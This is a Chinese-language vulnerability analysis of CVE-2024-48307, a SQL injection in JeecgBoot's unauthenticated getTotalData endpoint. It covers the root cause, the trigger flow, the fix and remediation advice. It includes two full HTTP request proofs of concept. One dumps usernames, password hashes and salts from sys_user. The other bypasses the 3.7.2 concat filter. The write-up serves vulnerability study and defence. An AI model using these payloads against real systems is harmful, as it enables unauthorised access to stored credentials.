JeecgBoot SQL注入漏洞分析(CVE-2024-48307)
字数 1595 2025-08-22 12:23:06

JeecgBoot SQL注入漏洞分析(CVE-2024-48307) 教学文档

一、漏洞概述

JeecgBoot是一个Java低代码平台,在v3.7.1及以下版本中存在SQL注入漏洞(CVE-2024-48307)。该漏洞位于/jeecg-boot/drag/onlDragDatasetHead/getTotalData接口,由于未对用户输入进行充分过滤,导致攻击者可以构造恶意SQL语句获取数据库敏感信息。

二、影响范围

  • 受影响版本:org.jeecgframework.boot:jeecg-boot-parent < 3.7.1
  • 修复版本:3.7.2及以上

三、漏洞分析

1. 漏洞位置

漏洞路由:/jeecg-boot/drag/onlDragDatasetHead/getTotalData

相关代码文件:

  • jimureport-dashboard-spring-boot-starter-1.8.1-beta.jar!\org\jeecg\modules\drag\b\f.class
  • org.jeecg.modules.drag.service.a.d#getTotalData
  • org.jeecg.modules.drag.service.a.i

2. 漏洞成因

  1. 权限配置问题:Shiro配置中该接口无需授权即可访问
  2. 输入验证缺失:用户可控参数直接拼接至SQL语句
  3. FreeMarker模板注入:使用FreeMarker模板生成SQL查询语句时未对用户输入进行过滤

3. 漏洞触发流程

  1. 请求到达/jeecg-boot/drag/onlDragDatasetHead/getTotalData接口
  2. 检查compName不等于"JPivotTable"
  3. 调用onlDragDatasetHeadService.getTotalData()方法
  4. 检查请求头中config.formtype不等于"design"
  5. 进入handleOnlineForm方法处理用户输入
  6. 通过onlDragDatasourceDao.selectListBySql执行SQL查询
  7. 使用FreeMarker模板动态生成SQL语句,用户输入直接拼接

四、漏洞利用

1. 环境搭建

参考官方文档搭建环境:https://help.jeecg.com/java/setup/idea/startup.html

2. 原始PoC

POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 326
Content-Type: application/json

{
  "tableName": "sys_user", 
  "compName": "test", 
  "condition": {
    "filter": {
      "config": {
        "assistValue": [], 
        "assistType": [], 
        "name": [
          {
            "fieldName": "concat(username,0x3a,password,0x3a,salt)", 
            "fieldType": "string"
          }, 
          {
            "fieldName": "id", 
            "fieldType": "string"
          }
        ], 
        "value": [
          {
            "fieldName": "id", 
            "fieldType": "string"
          }
        ], 
        "type": []
      }
    }
  }
}

3. 修复后绕过PoC

在3.7.2版本中检测了concat函数,可以构造不含concat的PoC:

POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: 127.0.0.1:12346
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 308
Content-Type: application/json

{
  "tableName": "sys_user", 
  "compName": "test", 
  "condition": {
    "filter": {
      "config": {
        "assistValue": [], 
        "assistType": [], 
        "name": [
          {
            "fieldName": "username,password,salt", 
            "fieldType": "string"
          }, 
          {
            "fieldName": "id", 
            "fieldType": "string"
          }
        ], 
        "value": [
          {
            "fieldName": "id", 
            "fieldType": "string"
          }
        ], 
        "type": []
      }
    }
  }
}

五、漏洞修复

1. 修复措施

在3.7.2版本中,通过org.jeecg.modules.drag.service.a.j#handleOnlineForm中的c.a()方法对concat等敏感函数进行了检测。

2. 修复验证

尝试使用原始PoC会触发检测机制,返回异常。

六、安全建议

  1. 升级至JeecgBoot 3.7.2或更高版本
  2. 对所有用户输入进行严格的过滤和验证
  3. 使用预编译语句(PreparedStatement)代替动态SQL拼接
  4. 实施最小权限原则,限制数据库账户权限
  5. 对敏感接口增加身份验证和授权检查
  6. 定期进行安全审计和漏洞扫描

七、技术要点总结

  1. FreeMarker模板注入:漏洞利用FreeMarker模板动态生成SQL语句的特性
  2. 反射检测:修复版本通过反射调用检测方法识别恶意输入
  3. SQL注入变种:不同于传统SQL注入,该漏洞通过API参数注入
  4. 防御绕过:通过修改payload结构可以绕过简单关键词检测

八、参考链接

  1. JeecgBoot官方文档:https://help.jeecg.com
  2. 先知社区原文:https://xz.aliyun.com/t/1824226141702051
JeecgBoot SQL注入漏洞分析(CVE-2024-48307) 教学文档 一、漏洞概述 JeecgBoot是一个Java低代码平台,在v3.7.1及以下版本中存在SQL注入漏洞(CVE-2024-48307)。该漏洞位于 /jeecg-boot/drag/onlDragDatasetHead/getTotalData 接口,由于未对用户输入进行充分过滤,导致攻击者可以构造恶意SQL语句获取数据库敏感信息。 二、影响范围 受影响版本: org.jeecgframework.boot:jeecg-boot-parent < 3.7.1 修复版本:3.7.2及以上 三、漏洞分析 1. 漏洞位置 漏洞路由: /jeecg-boot/drag/onlDragDatasetHead/getTotalData 相关代码文件: jimureport-dashboard-spring-boot-starter-1.8.1-beta.jar!\org\jeecg\modules\drag\b\f.class org.jeecg.modules.drag.service.a.d#getTotalData org.jeecg.modules.drag.service.a.i 2. 漏洞成因 权限配置问题 :Shiro配置中该接口无需授权即可访问 输入验证缺失 :用户可控参数直接拼接至SQL语句 FreeMarker模板注入 :使用FreeMarker模板生成SQL查询语句时未对用户输入进行过滤 3. 漏洞触发流程 请求到达 /jeecg-boot/drag/onlDragDatasetHead/getTotalData 接口 检查 compName 不等于"JPivotTable" 调用 onlDragDatasetHeadService.getTotalData() 方法 检查请求头中 config.formtype 不等于"design" 进入 handleOnlineForm 方法处理用户输入 通过 onlDragDatasourceDao.selectListBySql 执行SQL查询 使用FreeMarker模板动态生成SQL语句,用户输入直接拼接 四、漏洞利用 1. 环境搭建 参考官方文档搭建环境:https://help.jeecg.com/java/setup/idea/startup.html 2. 原始PoC 3. 修复后绕过PoC 在3.7.2版本中检测了 concat 函数,可以构造不含 concat 的PoC: 五、漏洞修复 1. 修复措施 在3.7.2版本中,通过 org.jeecg.modules.drag.service.a.j#handleOnlineForm 中的 c.a() 方法对 concat 等敏感函数进行了检测。 2. 修复验证 尝试使用原始PoC会触发检测机制,返回异常。 六、安全建议 升级至JeecgBoot 3.7.2或更高版本 对所有用户输入进行严格的过滤和验证 使用预编译语句(PreparedStatement)代替动态SQL拼接 实施最小权限原则,限制数据库账户权限 对敏感接口增加身份验证和授权检查 定期进行安全审计和漏洞扫描 七、技术要点总结 FreeMarker模板注入 :漏洞利用FreeMarker模板动态生成SQL语句的特性 反射检测 :修复版本通过反射调用检测方法识别恶意输入 SQL注入变种 :不同于传统SQL注入,该漏洞通过API参数注入 防御绕过 :通过修改payload结构可以绕过简单关键词检测 八、参考链接 JeecgBoot官方文档:https://help.jeecg.com 先知社区原文:https://xz.aliyun.com/t/1824226141702051